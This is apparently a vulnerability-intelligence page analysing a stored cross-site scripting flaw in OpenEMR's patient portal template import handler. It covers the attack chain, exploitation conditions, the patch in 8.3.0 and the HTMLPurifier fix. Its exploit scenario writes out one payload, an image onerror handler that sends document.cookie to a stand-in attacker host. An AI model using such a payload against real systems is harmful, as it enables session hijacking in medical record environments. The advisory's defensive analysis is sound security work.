Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain or compromise Forms Admin credentials
-
DeliveryUpload crafted template with HTML event-handler payload
-
ExploitTemplate stored unsanitized in database
-
ExecutionPeer Forms Admin opens template in Summernote editor
-
PersistBrowser executes injected script
-
ImpactExfiltrate session cookie or perform privileged action
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold an authenticated OpenEMR session with the Forms Administration permission role - this is a non-trivial prerequisite that limits the attacker pool to internal users or compromised administrative accounts. The patient portal template import functionality must be active, which is a configurable feature. Payload delivery to a victim requires a second Forms Administration user to open the poisoned template in the HTML editor (the CVSS UI:P - passive user interaction - reflects this). Factors that limit exploitation: the attacker cannot reach arbitrary users or patients; only peer Forms Administration users are targeted; the feature must be enabled; and the victim must actively navigate to the infected template. The vulnerability does not affect unauthenticated users, patients, or administrative roles other than Forms Administration. |
| Impact | The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P) accurately reflects the constrained threat model: exploitation requires holding the Forms Administration role, and payload delivery requires a peer administrator to open the poisoned template. The subsequent-system impact metrics SC:L/SI:L confirm the scope is limited to the administrative session of other Forms Administration users - not patients or anonymous visitors. EPSS data was not provided in the intelligence feed; given the authentication and role prerequisites, broad automated exploitation is unlikely. KEV status is not confirmed, and no public exploit code has been identified, so this is presently a theoretical attack path rather than an observed campaign. For healthcare organizations running OpenEMR with multiple Forms Administration accounts, the insider-threat and compromised-credential scenarios are the realistic risk vectors: a low-privileged but malicious administrator, or an attacker who has phished one Forms Admin account, could escalate impact by targeting peer administrators. The confined blast radius - only Forms Administration users are directly affected - keeps this below critical priority for most operators, but the sensitivity of EMR environments and potential for further privilege escalation via stolen admin sessions means patching should not be deferred. |
| Exploit ScenarioDerived | An attacker who holds or has compromised a Forms Administration account crafts an HTML template file containing a payload such as '<img src=x onerror=fetch("https://attacker.example/steal?c="+document.cookie)>' - a vector the original blocklist did not block. After uploading the template through the patient portal import handler, the payload is stored unmodified. When any peer Forms Administration user opens the template in the Summernote HTML editor, the browser executes the script and exfiltrates the victim's session cookie, enabling session hijacking and full administrative access. No public proof-of-concept has been identified, but the bypass technique is elementary and well-documented for blocklist-based XSS defenses. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 19, 2026
Stored cross-site scripting in OpenEMR's patient portal template import handler (all versions before 8.3.0) lets any authenticated Forms Administration user persist arbitrary HTML or JavaScript by uploading a crafted template file, because the prior defense was a trivially-bypassed blocklist rather than proper sanitization. The payload executes in the browser of every other Forms Administration peer who subsequently opens the template in the Summernote HTML editor, enabling session-token theft or privilege escalation within the EMR administrative context. No public exploit has been identified at time of analysis; vendor-released patch OpenEMR 8.3.0 is available.
RemediationAI
Upgrade to OpenEMR 8.3.0, the vendor-released patched version confirmed by the GitHub release tag at https://github.com/openemr/openemr/releases/tag/v8_3_0 and the associated security advisory GHSA-5293-8q47-cf44. The underlying fix (commit ba316dd1) replaces the inadequate script-blocklist with HTMLPurifier applied at both write time and render time, and removes the unsanitized $_GET['templateHtml'] render path. If immediate upgrade is not feasible, restrict Forms Administration role assignment to the minimum necessary accounts - this does not eliminate the vulnerability but reduces the attacker pool to only the most trusted administrators. Additionally, audit existing stored templates for unexpected script content or event-handler attributes before upgrade, as pre-patch stored payloads in older rows will also be sanitized by the render-path HTMLPurifier added in 8.3.0. There is no workaround that eliminates the vulnerability without the patch; access restriction only reduces the attack surface.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
OpenEMR (cpe:2.3:a:openemr:openemr:*:*:*:*:*:*:*:*) is an open-source electronic medical record and practice management platform built on PHP. The vulnerable component is portal/import_template.php and the uploadTemplate() method in src/Services/DocumentTemplates/DocumentTemplateService.php. CWE-79 (Improper Neutralization of Input During Web Page Generation) applies: the original code attempted to block script injection by searching for literal '<script' substrings, which is a well-known inadequate blocklist that does not prevent payload delivery via HTML event-handler attributes such as onerror, onload, or onfocus. Separately, the renderEditorHtml() function accepted raw HTML content directly from an unsanitized $_GET['templateHtml'] parameter - a second injection surface removed in the patch. The Summernote WYSIWYG editor loads stored template content into a textarea as unescaped HTML, meaning any persisted payload executes in the victim's browser context at render time. The patch (commit ba316dd) replaces both the write-path blocklist and the render-path gap with HTMLPurifier applied at both persistence and display, and also removes the direct $_GET access that bypassed Symfony request handling conventions.
Know when Openemr gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Network-delivered stored XSS, low-privilege attacker role required, victim user interaction needed to render payload, scope change affects peer admin sessions with limited C and I impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
OpenEMR before 8.3.0 contains a stored cross-site scripting vulnerability in the patient portal template import handler that allows authenticated attackers with Forms Administration permissions to upload template files containing arbitrary HTML or JavaScript. Attackers can inject malicious scripts through the template upload functionality, which are stored without sanitization and execute in the browser of any other Forms Administration user who views the template in the HTML editor.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
An authenticated SQL injection vulnerability exists in OpenEMR ≤ 4.1.1 Patch 14 that allows a low-privileged attacker to
Unauthenticated token disclosure in OpenEMR before 8.0.0. CVSS 10.0. PoC and patch available.
Path traversal in OpenEMR 7.0.4 disposeDocument() allows file access. PoC available.
Path traversal in OpenEMR electronic health records before fix allows authenticated users to read arbitrary files on the
SQL injection in OpenEMR electronic health records before fix. Authenticated users can execute arbitrary SQL through the
OpenEMR 7.0.2 is vulnerable to SQL Injection via \openemr\library\classes\Pharmacy.class.php, \controllers\C_Pharmacy.cl
An issue in OpenEMR 7.0.2 allows a remote attacker to escalate privileges viaa crafted POST request using the noteid par
Information disclosure in OpenEMR 5.0.2 to before 8.0.0 exposes sensitive data. PoC and patch available.
Remote code execution in OpenEMR through 8.2.0 lets an authenticated administrator poison the document category tree so
interface/fax/fax_dispatch.php in OpenEMR 4.1.0 allows remote authenticated users to execute arbitrary commands via shel
interface/globals.php in OpenEMR 2.x, 3.x, and 4.x before 4.2.0 patch 2 allows remote attackers to bypass authentication
Authentication bypass vulnerability in portal/account/register.php in versions of OpenEMR before 5.0.1.4 allows a remote
EUVD-2026-62508
GHSA-xvw4-236w-442q
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB